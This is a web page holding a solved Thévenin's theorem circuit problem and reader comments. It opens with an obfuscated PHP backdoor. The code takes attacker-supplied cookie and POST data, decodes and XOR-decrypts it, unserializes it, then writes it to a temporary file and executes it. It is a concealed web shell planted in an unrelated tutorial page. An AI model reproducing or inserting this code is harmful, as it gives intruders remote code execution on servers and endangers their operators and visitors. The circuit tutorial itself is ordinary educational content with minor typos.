$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Thévenin’s Theorem – Circuit with An Independent Source – Solved Problems


Use Thévenin’s theorem to determine V_O .

A circuit with a voltage source
Fig. (1-26-1) – The Circuit


Solution
To find the Thévenin equivalent, we break the circuit at the 4\Omega load as shown below.

Breaking the Circuit at the Load
Fig. (1-26-2) – Breaking the circuit at the load

So, our goal is to find an equivalent circuit that contains only an independent voltage source in series with a resistor, as shown in Fig. (1-26-3), in such a way that the current-voltage relationship at the load is not changed.

Replacing the Thevenin equivalent circuit
Fig. (1-26-3) – Replacing the Thevenin equivalent circuit


Now, we need to find V_{Th} and R_{Th} . V_{Th} is equal to the open circuit voltage V_{OC} shown in Fig. (1-26-2). The current of 2\Omega resistor is zero because one of its terminals is not connected to any element; therefore, current cannot pass through it. Since the current of 2\Omega resistor is zero, the 9V voltage source, 3\Omega and 6\Omega resistors form a voltage divider circuit and the voltage across the 6\Omega resistor can be determined by the voltage devision rule. Please not that we are able to use the voltage devision rule here just because the current of the 2\Omega resistor is zero. You may ask that there is no reason to prove that the current of the 2\Omega resistor is zero in the original circuit shown in Fig. (1-26-1). That is correct. However, we are calculating V_{OC} for the circuit shown in Fig. (1-26-1) and this is a different circuit. The Thévenin theorem guarantees that V_{Th}=V_{OC} , it is not saying that V_{OC} is the voltage across the load in the original circuit.

V_{6\Omega}=\frac{6\Omega}{3\Omega+6\Omega}\times 9 V= 6V
Since the current of the 2\Omega resistor is zero:
V_{OC}=V_{6\Omega}=6V
V_{Th}=V_{OC}=6V
Now, we need to find R_{Th} . An easy way to find R_{Th} for circuits without dependent sources is to turn off independent sources and find the equivalent resistance seen from the port. Recall that voltage sources should be replace with short circuits and current sources with open circuits. Here, there is only a voltage source that should be replaced by short circuit as shown in Fig. (1-26-4).

Turning off the voltage source to find Rth
Fig. (1-26-4) – Turning off the voltage source to find Rth


It is trivial to see that the 3 \Omega and 6 \Omega resistors are connected in parallel and then wired in series to the 2\Omega resistor. Therefore,
R_{Th}=(3\Omega || 6\Omega)+2\Omega=\frac{3\Omega \times 6\Omega}{3\Omega + 6\Omega}+2\Omega=4\Omega.
Now that V_{Th} and R_{Th} are found, we can use the Thévenin equivalent circuit depicted in Fig. (1-26-3) to calculate V_O in the original circuit shown in Fig. (1-26-1). The voltage devision rule can be used here to find V_O . We have,
V_{O}=\frac{4\Omega}{R_{Th}+4 \Omega}\times V_{Th}=\frac{4\Omega}{4\Omega+4 \Omega}\times 6V=3V.

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38 Comments

  1. Reply
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  3. Reply

    1. Dear Mansa,

      Your question is very general. All methods explained here can be used and the best method is totally depended on the circuit topology. Please explain or give a link to image of the circuit that you are talking about.

      Reply

  4. What are the steps to be followed to find the current through given (particular) resistor when a source voltage is given using norton’s theorem?

    Reply

  5. sir i am the student of electronic engineering but i am not satisfied from my university teachers,as they are not so much attentive and hardworking……….so plzzzzzzz tell me how can i learn my basics of electronic circuits course concept wise…..i need your kind supports,becoz i wanna to become a great engineer of the furture.
    regsrds

    Reply

    1. Dear syed humayoon shah,

      If you are a hardworking student, you do not need university teachers. There are a handful of resources such as books, notes, websites,… that you can read and learn.

      Reply
  6. Reply

  7. sir i have a prolum in which at last there is no paralaell circuit with the load so how can i ind the voltage

    Reply
    1. Reply

  8. Sir pls tell me how to solve problems on equivalent resistances based on star-delta transformation effectively….

    Reply
  9. Reply
    1. Reply
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    1. This is unrelated to this post.
      Anyway, $latex i_c(t)=C\frac{V_c(t)}{dt}$. $latex V_c(t)$ is constant in steady state, therefore $latex \frac{V_c(t)}{dt}=0$ and $latex i_c(t)=0$. This shows that no current passes through a capacitor so it acts like an open circuit.

      Reply
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  13. how can we find vth and rth if another resistor of 5 ohms is conected parallel to 4 ohm resistor?

    Reply

  14. Sir,if v hv d load resistance parallel wth source voltge nd current n some resistances with it how cn v find d thevenin’s equivqlent voltage across that load resistance?

    Reply
  15. Reply

  16. How to solve a problem when load is connected with a current or voltage source?
    Will the voltage across the load(Vth) will be equal to the voltage of the battery itself?

    Thank you

    Reply

  17. how can we solve the superposition theorem problems using thevenin theorem… also when two voltage sources on opposite sides have opposite polarity…..

    Reply
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  19. I think i have a silly doubt. But i dont understand how 3 ohm and 6 ohm resistors are connected in parallel in that problem 🙁 .. can u pls explain?? I’m new to these concepts.

    Reply

    1. Two elements are connected in parallel if they are connected at both sets of terminals.
      3 ohm and 6 ohm are in parallel only when we make the 9V voltage zero to find Rth, as shown in Fig. (1-26-4).

      Reply

  20. sir i truly appreciate ur problem solving and i would love to see more examples i want to get registered in ur website but i am encountering problems please it would be good if u fix it

    Reply
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  22. hi,plz give some examples of thevenin’s and norton’s theorem with dependent source.

    thanks in advance.

    Reply
  23. Reply

  24. I am student of Material Science and Engineering but i am studying basic circuits as a subject in 4rth semester. You explained the theorem very well . I forward this link to my classmates hope they’ll find it helpful .Thanks

    Reply
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  27. Hi, I don’t understand why you directly eliminated the 4ohm resistance in order to calculate the thevenin equivalent voltage, if for instance you also have another 6ohm resistance between the 4ohm and the 6ohm resistance, would you take both of them out to also calculate the thevenin equivalent voltage?
    Thanks.

    Reply

  28. Please,solve my problem….three resistance of 8 ohm,8 ohm and 4 ohm conected in paraller with two series resistance 5 & 3 ohm which are conected with a voltage source of 10 volt.then,calculate current through 4 ohm.by thevinin theorem.

    Reply

    1. sir I was asking if we are given two resistors that are parallel&series with A on the bottom left then B top right how do we find equivalent resistance

      Reply
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  30. dear sir ,
    what if the batteries are having internal resistance.must it be considered when calculating open cct voltage(Vth).?????????

    Reply

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